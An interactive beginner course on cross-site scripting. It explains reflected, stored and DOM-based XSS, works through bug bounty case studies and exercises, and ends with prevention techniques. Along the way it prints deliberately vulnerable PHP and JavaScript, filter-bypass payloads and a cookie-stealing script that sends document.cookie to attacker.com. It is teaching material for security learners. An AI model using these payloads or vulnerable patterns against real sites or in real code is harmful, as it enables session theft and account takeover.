XSS (Cross-Site Scripting) Interactive Course

A comprehensive guide for beginner cybersecurity enthusiasts

Course Progress: 0%

Table of Contents

1. Introduction to XSS

Cross-Site Scripting (XSS) is one of the most common web application security vulnerabilities. It occurs when an attacker injects malicious scripts into web pages viewed by other users. When a website doesn't properly validate or encode user input, attackers can execute malicious JavaScript in the context of victims' browsers.

Why XSS matters: XSS attacks can lead to session hijacking, credential theft, phishing, malware injection, and defacement of websites. According to OWASP, XSS has consistently ranked in the top 10 web application security risks.

XSS Impact Visualization

Fundamentals of XSS

  • Attack Vector: User input fields, URL parameters, JSON data, and even HTTP headers
  • Attack Goal: Execute JavaScript in the context of another user's browser session
  • Common Payloads: Alert boxes, cookie stealers, keystroke loggers, form hijackers
  • Impact: Ranges from nuisance alerts to complete account takeovers

Basic XSS Payload Example

<script>alert('XSS');</script>

Try it yourself!

Enter the basic XSS payload above in the input field and click "Submit" to see what happens:

Knowledge Check

What does XSS stand for?

2. The 3 Main Types of XSS

XSS attacks can be categorized into three main types. Understanding the differences between these types is crucial for both identifying vulnerabilities and implementing proper defenses.

Type Description Delivery Method Persistence
Reflected XSS Malicious script is reflected off the web server in an error message, search result, or any response that includes user-supplied data Typically through URL parameters or form submissions Non-persistent (one-time)
Stored XSS Malicious script is stored on the target server (e.g., in a database, message forum, comment field) Via user input that gets permanently stored Persistent (remains until removed)
DOM-based XSS Vulnerability exists in client-side code rather than server-side code Through manipulation of the DOM environment Typically non-persistent

Reflected XSS Flow

1. Attacker crafts a malicious link with embedded script

2. Victim clicks the malicious link

3. Web server reflects the script in its response

4. The script executes in the victim's browser

Stored XSS Flow

1. Attacker posts malicious script to a website (e.g., in a comment)

2. Server stores the script in its database

3. Victim visits the page containing the stored script

4. Server delivers the content with the embedded script

5. Script executes in victim's browser

DOM-based XSS Flow

1. Attacker crafts a URL with malicious payload

2. Victim visits the malicious URL

3. Client-side JavaScript code processes data from the URL

4. JavaScript modifies the DOM, inserting the payload

5. Malicious script executes in the victim's browser

Expert Tip: When testing for XSS vulnerabilities, try multiple payload variations. Websites often implement partial input sanitization that can be bypassed with creative encoding or script techniques.

2.1 Reflected XSS

Reflected XSS is the most common type of Cross-Site Scripting. In a reflected XSS attack, the malicious script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.

How Reflected XSS Works

  1. An attacker identifies a vulnerable website that reflects user input without proper sanitization
  2. The attacker crafts a malicious URL that includes JavaScript code as a parameter
  3. The attacker sends this URL to potential victims (via email, message, etc.)
  4. When a victim clicks the link, their browser sends the request to the vulnerable server
  5. The server includes the malicious script in its response
  6. The victim's browser executes the script as if it came from the trusted website

Vulnerable PHP Code Example

<?php
// Vulnerable search page
$search = $_GET['query'];
echo "<h2>Search results for: " . $search . "</h2>";
// Rest of the search functionality
?>

This code directly outputs the search query parameter without any sanitization.

Common Attack Vectors

  • URL Parameters: https://example.com/search?query=<script>alert('XSS')</script>
  • Form Fields: Submitting scripts via search, login, or feedback forms
  • HTTP Headers: Some applications reflect HTTP headers like User-Agent in their responses
  • Error Messages: Applications that display error messages containing user input

Interactive Demo: Reflected XSS

Step 1: Enter a search query in our vulnerable search application

Results:

Search results will appear here...

Try entering a basic XSS payload like <script>alert('XSS');</script> to see how reflected XSS works.

Real-world Example: Reflected XSS in Search Functionality

In 2018, a security researcher found a reflected XSS vulnerability in Google's custom search engine. When a search was performed, the query parameter was reflected in the page without proper encoding, allowing attackers to execute JavaScript.

The vulnerable URL looked something like:

https://www.google.com/custom?q=<script>alert(document.cookie)</script>

Advanced Reflected XSS Techniques

Filter Bypass Techniques

// Using different event handlers
<img src="x" onerror="alert('XSS')">

// Using HTML encoding
<img src="x" onerror="alert('XSS')">

// Using JavaScript encoding
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>

// Using data URI
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">

Knowledge Check

In a reflected XSS attack, where is the malicious code stored?

2.2 Stored XSS

Stored XSS (also known as persistent XSS) is considered the most dangerous type of XSS. In this attack, the malicious script is stored permanently on the target server, such as in a database, forum post, comment field, or visitor log.

How Stored XSS Works

  1. An attacker identifies a website that stores user input without proper sanitization
  2. The attacker submits a malicious script via a form that stores data (comment, review, etc.)
  3. The website stores the malicious script in its database
  4. When other users view the page containing the stored script, it's served as part of the website's content
  5. The victims' browsers execute the script as if it came from the trusted website
  6. The attack affects every visitor that views the infected page

Vulnerable Comment System Code

<?php
// Store the comment in the database
$comment = $_POST['comment'];
$query = "INSERT INTO comments (comment_text) VALUES ('$comment')";
$db->query($query);

// Display comments (vulnerable code)
$result = $db->query("SELECT * FROM comments");
while ($row = $result->fetch_assoc()) {
    echo "<div class='comment'>" . $row['comment_text'] . "</div>";
}
?>

This code stores and displays user comments without any sanitization.

Common Attack Vectors

  • Comment Systems: Blog comments, forum posts, product reviews
  • User Profiles: Profile information, status updates, signatures
  • Message Boards: Public or private messages between users
  • Support Tickets: Customer service requests that are viewed by staff
  • Contact Forms: If submissions are stored and displayed to administrators

Interactive Demo: Stored XSS

Step 1: Leave a comment on our vulnerable blog

Comments Section:

Jane Doe: This is a great article! Thanks for sharing.
John Smith: I learned a lot from this. Very informative.

Try posting a comment with a basic XSS payload like <script>alert('Stored XSS');</script> to see how stored XSS works. Notice how the script executes whenever the comments section is viewed.

Real-world Example: Stored XSS in Social Media

In 2014, a security researcher discovered a stored XSS vulnerability in Twitter that allowed attackers to embed JavaScript in tweets. When users viewed these tweets, the malicious code would execute.

The vulnerability was found in Twitter's TweetDeck application, which didn't properly sanitize tweet content. A simple tweet containing <script class="xss">alert("XSS")</script> was automatically retweeted thousands of times as users viewed the infected tweet.

Cookie Stealing Payload Example

<script>
  // Create an image element with source pointing to attacker's server
  // with the document.cookie as a URL parameter
  var img = new Image();
  img.src = 'https://attacker.com/steal.php?cookie=' + document.cookie;
  document.body.appendChild(img);
</script>

This payload creates an invisible image that sends the victim's cookies to the attacker's server. The attacker can then use these cookies to hijack the victim's session.

Knowledge Check

Why is stored XSS generally considered more dangerous than reflected XSS?

2.3 DOM-based XSS

DOM-based XSS is a type of Cross-Site Scripting attack where the vulnerability exists in client-side code rather than server-side code. The attack payload is executed as a result of modifying the DOM environment in the victim's browser.

How DOM-based XSS Works

  1. An attacker identifies a website with vulnerable client-side JavaScript
  2. The attacker creates a malicious URL with a payload that targets DOM manipulation
  3. When a victim visits the URL, the page's JavaScript code runs
  4. The vulnerable JavaScript takes data from the URL (like fragment or query parameters)
  5. This data is used to dynamically update the DOM without proper sanitization
  6. The malicious script is inserted into the DOM and executed in the victim's browser

Vulnerable JavaScript Code

<script>
// Get the value of the 'name' parameter from URL
var name = document.location.href.split('name=')[1];

// Vulnerable code that inserts the parameter into the DOM
document.getElementById('greeting').innerHTML = 'Hello, ' + name + '!';
</script>

This code takes a parameter from the URL and inserts it directly into the DOM without sanitization.

Common DOM Sources and Sinks

DOM Sources (Where attacker-controlled data comes from)

  • document.URL
  • document.location and all its properties
  • document.referrer
  • window.name
  • history.pushState()
  • URL parameters and fragments
  • Web Storage (localStorage, sessionStorage)

DOM Sinks (Vulnerable methods that can execute or insert HTML)

  • document.write()
  • element.innerHTML
  • element.outerHTML
  • element.insertAdjacentHTML
  • eval()
  • setTimeout() / setInterval() with string parameters
  • location object properties
  • jQuery functions like $('selector').html()

Interactive Demo: DOM-based XSS

A simple page that greets users by name:

Welcome to our Website

Hello, Guest!

Try entering a DOM XSS payload like <img src="x" onerror="alert('DOM XSS')"> to see how DOM-based XSS works.

The vulnerable code that updates the greeting looks like this:

// Vulnerable function used in our demo
function domXSSDemo() {
  var name = document.getElementById('name-input').value;
  document.getElementById('greeting-output').innerHTML = 'Hello, ' + name + '!';
}

Real-world Example: DOM-based XSS in Popular Frameworks

In 2019, a security researcher found a DOM-based XSS vulnerability in React Router, a popular routing library for React applications. The vulnerability was in the way React Router handled URL parameters, which could be exploited to inject malicious JavaScript.

When React Router parsed URL parameters, it would directly insert them into the DOM without proper sanitization. An attacker could craft a URL that contained malicious code, and when a victim visited that URL, the code would execute in their browser.

Advanced DOM XSS Techniques

// Using URL fragments
https://example.com/page#<img src="x" onerror="alert(1)">

// Using javascript: protocol
<a href="javascript:alert(1)">Click me</a>

// Using event handlers with encoded values
<a onmouseover="alert(String.fromCharCode(88,83,83))">Hover over me</a>

// Exploiting jQuery's $(selector) function
https://example.com/page#<div id="$(alert(1))">

Knowledge Check

What is unique about DOM-based XSS compared to Reflected and Stored XSS?

3. Real-World Bug Bounty Scenarios

Understanding real-world XSS vulnerabilities can provide valuable insights into how these attacks are discovered and exploited in the wild. Let's examine some notable bug bounty reports involving XSS vulnerabilities.

Case Study 1: XSS in Google Search

Vulnerability Details

  • Type: Reflected XSS
  • Discovery Date: 2019
  • Bounty: $5,000

Description

A security researcher discovered a reflected XSS vulnerability in Google's custom search implementation. The vulnerability was found in the error page that appeared when no results were found for a search query.

Exploit

The researcher noticed that when searching for specific terms with no results, the error message would include the search term without proper sanitization. By crafting a search query with embedded JavaScript, they could execute code in the context of Google's domain.

https://www.google.com/custom?q=<svg/onload=alert(document.domain)>&site=default_collection

Impact

This vulnerability could have been used to steal Google account cookies, leading to account takeover. Additionally, given Google's trusted domain, phishing attacks launched from this domain would have been particularly effective.

Case Study 2: Stored XSS in Twitter

Vulnerability Details

  • Type: Stored XSS
  • Discovery Date: 2014
  • Bounty: Not disclosed

Description

A significant stored XSS vulnerability was discovered in Twitter's TweetDeck client. The vulnerability allowed attackers to embed JavaScript in tweets, which would then execute when viewed by other users.

Exploit

The researcher found that TweetDeck wasn't properly sanitizing tweet content. By including HTML and JavaScript in a tweet, they could execute arbitrary code in the context of Twitter's domain.

<script class="xss">alert("XSS in TweetDeck")</script>♥

Impact

This vulnerability quickly spread as the payload included code to automatically retweet itself. Within hours, thousands of users had unwittingly retweeted the malicious content, demonstrating the viral nature of stored XSS attacks.

Case Study 3: DOM-based XSS in PayPal

Vulnerability Details

  • Type: DOM-based XSS
  • Discovery Date: 2017
  • Bounty: $5,500

Description

A security researcher discovered a DOM-based XSS vulnerability in PayPal's main site. The vulnerability existed in client-side JavaScript code that handled URL parameters without proper sanitization.

Exploit

The researcher found that JavaScript on PayPal's website was taking values from the URL and directly inserting them into the DOM. By crafting a special URL with a malicious payload, they could execute JavaScript in the context of PayPal's domain.

https://www.paypal.com/signin/?returnUrl=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+

Impact

This vulnerability could have been used to create convincing phishing pages, steal session tokens, or perform unauthorized actions on behalf of PayPal users. Given PayPal's financial nature, the potential impact was particularly severe.

Bug Bounty Tips for Finding XSS Vulnerabilities

  1. Test All Input Points

    Every input field, URL parameter, HTTP header, and form submission is a potential entry point for XSS. Test them all systematically.

  2. Try Different Contexts

    The same XSS payload may work differently depending on where it's inserted (in HTML, in JavaScript, in attributes, etc.). Adapt your approach based on the context.

  3. Bypass Filters

    Many applications implement basic XSS filters that can be bypassed. Try encoding variations, different event handlers, and creative syntax.

  4. Check JavaScript Libraries

    Applications often use JavaScript libraries with known vulnerabilities. Identify which libraries are in use and research known XSS issues.

  5. Understand the Application

    Take time to understand how the application works, especially its data flow and user input handling. This knowledge can reveal less obvious attack vectors.

Responsible Disclosure: When finding XSS vulnerabilities, always follow responsible disclosure practices. Report the issue to the affected organization through their bug bounty program or security contact before disclosing it publicly.

Bug Bounty Resources for XSS

4. Interactive Exercises

Let's put your XSS knowledge to the test with some interactive exercises. These simulations will help you practice identifying and exploiting XSS vulnerabilities in a safe environment.

Exercise 1: Find the Vulnerability

Examine the following code snippets and identify which ones contain XSS vulnerabilities. Click the "Check" button after selecting your answers.

Code Sample 1:

<script>
const userInput = document.getElementById('search').value;
document.getElementById('results').innerText = 'Results for: ' + userInput;
</script>

Code Sample 2:

<script>
const userComment = document.getElementById('comment').value;
document.getElementById('comments').innerHTML += '<div class="comment">' + userComment + '</div>';
</script>

Code Sample 3:

<?php
$username = htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');
echo "<h1>Welcome, {$username}!</h1>";
?>

Exercise 2: Develop a Payload

For this exercise, you'll need to develop an XSS payload that achieves specific objectives. You can test your payload in the sandbox below.

Scenario:

You've found a reflected XSS vulnerability in a website's search function. Your goal is to create a payload that:

  1. Displays an alert with the text "XSS Successful"
  2. Changes the background color of the page to red

Test your payload:

Result:

Your payload results will appear here...

Exercise 3: Bypass XSS Filters

This exercise will test your ability to bypass basic XSS filters. The example filter blocks the <script> tag and the javascript: protocol, but can still be bypassed.

Filter Rules:

  • The string <script is blocked (case-insensitive)
  • The string javascript: is blocked (case-insensitive)
  • Other tags and events are allowed

Test your bypass:

Result:

Your bypass results will appear here...

5. Prevention Techniques

Preventing XSS vulnerabilities is essential for building secure web applications. This section covers the most effective techniques for defending against all types of XSS attacks.

Input Validation

Always validate user input on the server side to ensure it meets expected formats and criteria.

Good Practice

<?php
// Validate that input is an integer
if (!is_numeric($_GET['id'])) {
    die("Invalid input");
}
$id = (int)$_GET['id'];
// Use $id safely
?>

Bad Practice

<?php
// No validation, direct use of input
$id = $_GET['id'];
// Use $id unsafely
?>

Output Encoding

Encode output based on the context where it will be rendered to prevent script execution.

Context Encoding Method Example
HTML Content HTML Entity Encoding htmlspecialchars($data, ENT_QUOTES, 'UTF-8')
HTML Attributes HTML Attribute Encoding htmlspecialchars($data, ENT_QUOTES, 'UTF-8')
JavaScript JavaScript Encoding json_encode($data)
URL Parameters URL Encoding urlencode($data)
CSS CSS Hex Encoding Custom CSS escaping function

Good Practice

<?php
// HTML context
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// JavaScript context
echo "var userInput = " . json_encode($userInput) . ";";
?>

Bad Practice

<?php
// Direct output without encoding
echo $userInput;

// Unencoded JavaScript
echo "var userInput = '" . $userInput . "';";
?>

Content Security Policy (CSP)

Content Security Policy is a powerful browser feature that helps prevent XSS attacks by controlling which resources can be loaded and executed on your page.

Example CSP Header

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; style-src 'self' https://trusted-cdn.com;

The above CSP header does the following:

  • Restricts scripts to load only from the same origin and a trusted CDN
  • Blocks all plugin content (object-src 'none')
  • Allows stylesheets only from the same origin and a trusted CDN
  • For all other resource types, only allows loading from the same origin

Note: While CSP is a strong defense against XSS, it should be used in combination with proper input validation and output encoding, not as a replacement.

Framework-specific Protections

Modern web frameworks often include built-in XSS protections that you should leverage.

Framework Protection Features Example
React Automatic escaping of values in JSX <div>{userInput}</div>
Angular Automatic sanitization with property binding <div [innerText]="userInput"></div>
Django Auto-escaping in templates {{ user_input }}
Laravel Blade template escaping {{ $userInput }}

Warning: Be cautious of framework features that bypass the default protections, such as React's dangerouslySetInnerHTML or Angular's [innerHTML].

XSS Prevention Checklist

  • Validate all user input

    Implement server-side validation for all user inputs, including URL parameters, form fields, and HTTP headers.

  • Use appropriate output encoding

    Encode user-controlled data based on the context where it will be displayed (HTML, JavaScript, CSS, etc.).

  • Implement Content Security Policy

    Set up a strong CSP to restrict script sources and other resources.

  • Use framework security features

    Leverage the built-in XSS protections provided by your web framework.

  • Apply the principle of least privilege

    Only use dangerous functions (innerHTML, eval, etc.) when absolutely necessary and with proper safeguards.

  • Sanitize HTML

    Use an HTML sanitizer library if you need to allow some HTML content from users.

  • Set secure cookies

    Use HttpOnly and Secure flags on cookies to prevent JavaScript access and transmission over insecure connections.

  • Regularly audit your code

    Conduct security code reviews and perform penetration testing to find XSS vulnerabilities.

6. Additional Resources

To further enhance your XSS knowledge and skills, here are some valuable resources and tools:

Learning Resources

OWASP XSS

Comprehensive information about XSS from the Open Web Application Security Project

Visit Website

PortSwigger Web Security Academy

Free interactive labs for practicing XSS and other web vulnerabilities

Visit Website

OWASP XSS Filter Evasion Cheat Sheet

A collection of XSS vectors that can help bypass various filters

Visit Website

HackerOne Hacktivity

Public bug reports including many XSS vulnerabilities with detailed explanations

Visit Website

Practice Platforms

Google XSS Game

A series of challenges to learn about XSS vulnerabilities

Visit Website

DVWA (Damn Vulnerable Web App)

PHP/MySQL web application that is intentionally vulnerable

Visit Website

XSS Hunter

Open-source XSS detection and payload service

Visit Website

Tools and Frameworks

Tool Purpose Link
DOMPurify HTML sanitizer for client-side applications GitHub Repository
CSP Evaluator Tool to analyze Content Security Policies Web Tool
OWASP ZAP Free security tool for finding vulnerabilities in web applications Website
Burp Suite Integrated platform for performing security testing of web applications Website
XSS Strike Advanced XSS detection suite GitHub Repository

Books

The Web Application Hacker's Handbook

By Dafydd Stuttard and Marcus Pinto

A comprehensive guide to web application security, including detailed coverage of XSS attacks.

Web Security for Developers

By Malcolm McDonald

A practical guide to web security with examples and techniques for preventing XSS and other common vulnerabilities.

Further Learning Path

Now that you've learned about XSS, consider exploring these related security topics:

  1. Cross-Site Request Forgery (CSRF) - Often works hand-in-hand with XSS attacks
  2. Content Security Policy (CSP) - Advanced implementation and bypass techniques
  3. Subresource Integrity (SRI) - Securing your CDN-loaded resources
  4. HTTP Security Headers - X-XSS-Protection, X-Content-Type-Options, and more
  5. Client-Side Template Injection - Advanced XSS attacks in template frameworks